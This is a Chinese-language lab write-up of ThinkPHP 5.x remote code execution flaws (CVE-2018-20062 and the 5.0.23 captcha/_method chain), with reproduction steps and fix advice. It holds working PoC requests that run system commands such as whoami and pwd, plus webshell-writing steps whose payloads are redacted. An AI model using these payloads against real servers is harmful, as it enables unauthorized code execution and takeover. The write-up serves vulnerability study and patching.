目录

  1. ThinkPHP 5.0.22 / 5.1.29 远程代码执行漏洞

  2. ThinkPHP 5.0.23 远程代码执行漏洞

  3. POC 集合

  4. 漏洞修复建议

  5. 参考资料

    一、ThinkPHP 5.0.22 / 5.1.29 远程代码执行漏洞

    1.1 漏洞描述

    ThinkPHP 5.0.22 及 5.1.29 版本存在远程代码执行(RCE)漏洞。攻击者可利用该漏洞在未授权的情况下,通过精心构造的恶意请求,在目标服务器上远程执行任意 PHP 代码。

    1.2 影响版本

    • ThinkPHP 5.0.22

    • ThinkPHP 5.1.29

    1.3 漏洞原理

    该漏洞是由于 ThinkPHP 5 在处理控制器传参时,没有对参数进行充分的过滤与验证,导致恶意用户可以通过提交恶意数据,构造出一个带有 PHP 函数的控制器方法,并通过 URL 参数的形式访问该方法,从而触发 RCE。

    1.4 框架判断

    判断目标是否使用 ThinkPHP:访问 http://xxx:8080/router.php(ThinkPHP 框架中必定包含此文件)或 http://xxx:8080/?s=a 观察返回信息。

    1.5 漏洞复现

    步骤 1:开启 Docker 环境,访问 http://xxx:8080/ 确认服务正常。

    步骤 2:执行 PoC,验证 phpinfo:

    http://xxx:8080//index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

    步骤 3:执行 whoami 命令验证命令执行:

    http://xxx:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    步骤 4:写入文件(WebShell 演示):URL 编码后的 payload 写入 shell.php([WEBSHELL_PAYLOAD_REMOVED])。

    步骤 5:使用连接工具连接 shell.php 验证复现成功。

    二、ThinkPHP 5.0.23 远程代码执行漏洞

    2.1 漏洞描述

    ThinkPHP 5.0.23 版本存在另一类型 RCE 漏洞。攻击者通过特定的利用链,可以调用 Request 类的任意方法,最终导致 RCE。

    2.2 影响版本

    • ThinkPHP 5.0.23 及以下版本

    2.3 漏洞原理

    框架在获取请求方法时会错误地对其进行处理,使攻击者可以调用 Request 类的任何方法,从而通过特定利用链导致 RCE。

    2.4 漏洞复现

    步骤 1:虚拟机开启 Docker 环境,访问虚拟机的 IP 加 8080 端口。

    步骤 2:BurpSuite 抓包,将传参方式修改为 POST,URL 后接入 /index.php?s=captcha,POST Body 传入以下参数:

    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

    其中 pwd 为要执行的命令(显示当前目录)。

    步骤 3:写入 phpinfo 文件:echo "<?php phpinfo(); ?>" > info.php

    步骤 4:上传 WebShell(已脱敏处理,原理与前文类似)。

    三、POC 集合

    3.1 ThinkPHP 5.0.22 / 5.1.29 RCE PoC

    PoC 1 — 验证 phpinfo:
    http://xxx:8080//index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
    
    PoC 2 — 执行系统命令:
    http://xxx:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    3.2 ThinkPHP 5.0.23 RCE PoC

    POST /index.php?s=captcha HTTP/1.1
    Host: xxx:8080
    Content-Type: application/x-www-form-urlencoded
    
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

    四、漏洞修复建议

    • 升级版本:官方已发布修复版本:5.0.22/5.1.29 用户升级至 5.0.23 或 5.1.30;5.0.23 用户升级至 5.0.24 及以上版本

    • 输入验证:对用户输入的数据进行充分过滤与验证,严格限制控制器方法调用的参数

    • 安全编码:不要在控制器中直接使用用户输入作为函数名或方法名

    • 定期更新:定期检查和更新 Web 框架版本,关注官方安全公告

    总结:ThinkPHP 5.0.22 和 5.1.29 版本存在 RCE 漏洞(CVE-2018-20062),ThinkPHP 5.0.23 版本同样存在 RCE 漏洞,利用方式有所不同。为防止此类漏洞,需对用户输入进行充分过滤,定期更新版本。

    五、参考资料

    1. CVE-2018-20062 — ThinkPHP 5.x 远程代码执行漏洞

    2. ThinkPHP 官方安全公告 - thinkphp.cn